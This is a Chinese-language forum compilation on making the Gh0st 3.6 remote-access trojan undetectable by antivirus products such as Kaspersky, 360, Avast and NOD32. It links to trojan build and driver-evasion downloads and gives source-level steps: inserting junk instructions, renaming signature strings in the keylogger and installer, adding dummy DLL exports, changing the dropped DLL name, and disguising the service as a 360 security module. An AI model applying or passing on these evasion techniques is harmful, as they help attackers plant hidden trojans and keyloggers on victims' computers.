这里有4个教程 可以去看看 gh0st3.6编译教程 http://www.3800hk.com/donghua/f/24166.html vc++6.0对gh0st驱动免杀教程.rar http://www.heibai.net/download/Soft/Soft_13829.htm gh0st源代码修改硬盘锁.rar http://down.hacker.com.cn/soft/20080607/080607gh0st.rar —————————————————————————————————————— 以下是我在一些论坛里搜索到的一点资料,好像有点乱 o(∩_∩)o... —————————————————————————————————————— gh0st交流贴 gh0st3.6有源码,所以我们可以在源码的基础上做木马的免杀,个人感觉卡巴的免杀最好做。 先抛一砖头,有兴趣的朋友可以接着做,也可以和本人交流。 编译环境一定要配置好:DDK+SDK+VC6,DDK用来编译sys文件的,SDK+VC6是用来编译工程的,具体为什么以及如何配置可以查看网上有关资料,也可以查看DDK和SDK帮助。 首次编译后,先做卡巴的免杀。卡巴杀sys文件和dll,当然也就杀包装它们的install.exe,最后卡巴还杀生成的sever,我这里说杀生成好的server不是和前面的特征码重叠的地方,而是杀配置信息。 sys免杀 sys重新编译后,增加了输入表的函数(原因未知,有兴趣的朋友可以比较1下) ,顺利通过卡巴、金山、小红伞等杀软。 svchost.dll免杀 1、 MultiByteToWideChar 这个函数的调用上,卡巴就怕花,可以在这个函数前面随便加几句无效语句就可以。 2、 字符串调用"gh0st update" ,这个是用于更新用的 ,如果不要在线更新,直接把这个语句所在代码块删除;嘿嘿,其实搜索工程替换这个字符串为其他的字符串就可以了^_^,这个方法同样可以过金山,谁让我们有源码呢。 server免杀 卡巴定位在最后的配置信息,采取跳转显然是不行的,采用加花的办法,在写入AAAAAA配置信息之前,随便写些东西,就可以做server免杀。 修改生成的dll 在源程序里查找%s//%sEx字符串,这个位置就是生成 6to4的地方了,可以改成你想生成的任何的东西。 纯粹想交流,大家可以在这里跟贴,一起讨论。 macfee杀svchost.dll的输出表(ServiceMain)有改过的朋友嘛? 为了便于路过者互相提高一下,我把3.6源代码附件上来,网上多的是,懒人就免搜了^_^ 其实先修改SYS文件.黑防有教程,改完后就过全部杀软了,我指的是SYS文件,DLL和EXE文件把基址改一下,就过N多杀软了. 做了这几步,还有瑞星还查杀DLL文件,把DLL文件的大少优化下,加几个输出表.金山杀EXE文件,把入口点改下就过了.麦咖啡还杀DLL文件的ServiceMain,把ServiceMain移动远点就过了.小红伞`NOD还杀输入表,这2个不会改 ServiceMain 函数不能注解掉,如果注解掉后,你的木马在重启系统之前还能正常运行,一旦作为服务在后台运行,下次重启你的机器就很脆弱了。ServiceMain是svchost.dll的关键函数,这个函数本身对我们的gh0st是没有什么作用的,但是可以为系统的其他服务提供支持。 小红伞变态到杀exe的子系统值,有没有方法? 经测试,定位无误,将子系统外的其它数值全部填0,小红伞照杀,移动pe头也不能免杀! 添加垃圾代码的小方法: 垃圾代码要移动特征码所在的位置,不要跑到堆栈中了,这样的代码没有用。 可以采取添加for循环,做计数,简单统计,采用局部变量,不改变后面的逻辑为宜。 添加输出表的方法: 有杀输出表的,可以在生成的svchost.dll上添加空函数 ,但是每次编译都要修改1次资源 ,其实我们在源码上添加如下语句: extern "C" __declspec(dllexport) bool JustTempFun();//声明 …… extern "C" __declspec(dllexport) bool JustTempFun() //实现 { return false; } 编译后,输出表就被改变了,有的杀软就可做到代码免杀。 gh0st 红狼远控 自定义过360 主要原因还是经过为什么会出现那个什么6xxx的DLL文件.因为红狼的CoolDiyer大大已经说过. 服务端的生成是随机的....但看来是不完全随机.是根据系统和什么垃圾来随机的吧.具体我也不清楚哈. 嗯.OD载入了.我查个字符串给大家看看就明白了. 这里. [ %s/%sex.dll ] %s就是所谓的随机. 这里我可以准确的告诉大家是6xxxex.dll 6xx其实就是%s变来的.只要修改%s就可以修改生成出来的是什么DLL了. 嘻嘻.我修改成aaex.dll了... (不过大家注意ex.dll的ex是不要修改的好.因为修改这个会引起不上线.如果想修改后能上线.要连DLL里面的ex.dll也修改的.这里就不演示了) 360看看. 发现了.看.. 6to4ex.dll 对比一下 %sex.dll 就是 %s 变成了 6to4 而已. gh0st自定义过360改源码的方法: install.cpp 文件里面 改 wsprintf(strModulePath, "%s//%sex.dll", strSysDir, lpServiceName); 这里 wsprintf(strModulePath, "%s//%whm.clc", strSysDir, lpServiceName); 就行了 这个其实是作者的一个失误 本意是 随机选择服务安装 但是这段函数其实并没有真正随机 至使每次都从6to4这个服务开始 一个简单的解决办法就是 for循环里处理下 添加一行代码 ..... for(ptr = strSubKey; *ptr; ptr = strchr(ptr, 0)+1) { if (lstrcmp(ptr,"6to4")==NULL) continue; //添加此行代码 //MessageBox(0,ptr,"调试中 看看这是什么",0); ////////////////////////////////////////////////////////////////////////// char temp[500]; ..... 这样就跳过这个服务了 :) 还有更简单的 下面这行代码 就是个字符串相加 ex.dll 可以随便改 wsprintf(strModulePath, "%s//%sex.dll", strSysDir, ptr); 例如这样改 wsprintf(strModulePath, "%s//%skill360.dll", strSysDir, ptr); 或者这样改 .. 后缀是什么其实也不重要 wsprintf(strModulePath, "%s//%skill360.abc", strSysDir, ptr); %s//%sex.dll 第一个%s表示路径,第二个%s表示随机文件名,你就把第二个%s直接改为别人字母就行了,改后可以过了360和金山清理的查杀 经测试Gh0st的SYS文件,是通用的2.5-3.5都可以用~ 服务名称写 360tray.exe 最后描述信息填:360安全卫士实时保护模块。 360是行为查杀。 GH0ST 源码里怎么加花? _asm { 你的花指令 你的花指令 你的花指令 你的花指令 } ServiceMain 函数 特敏感. 注解掉后,NOD32 瑞星 麦咖啡 都过了. gh0st0免杀过Avast最新修改 杀软更新真的好快,前2天还不杀呢,刚刚更新了avast杀软再查杀1下,竟然杀install.exe和svchost.dll(也就是杀生成的文件和其中的资源文件),接着做它的源码免杀。 解决方案: 1、svchost.dll的特征码定位在键盘记录KeyboardManager.cpp文件中的SaveInfo(char *lpBuffer)函数。特征字符串%02d/%02d/%02d,也就是我们看到键盘记录的日期,修改之,修改的方法很多,将其改为[%d/%d/%d %d:%d:%d] ,编译即可通过avast杀软。 2、install的特征码定位在“SYSTEM/CurrentControlSet/Services/%s”,对应文件是install.cpp里的InstallService函数,修改大小写,编译即可通过免杀。 没有办法上传附件,对应的代码看看吧,这2处特征码修改编译2进制文件也很简单。 nod32一般查杀函数导出表(不知道是不是这样称呼的,就是用UE打开,可以看到一堆函数的地方),定位被查杀的函数名称,一般会有两个或多个,用loadlibrary装载函数所在的dll文件,然后将函数改个名称再调用,你会改函数名,剩下的应该不难! 最后生成的文件不加壳能过NOD 卡巴有个特点,它的特征码都是以代码为主,所以我们在改特征码时不一定要去改原来的特征码,也可以去修改特征以上的的代码,只要稍微调换一下,就可以起如同加花指令的效果。 |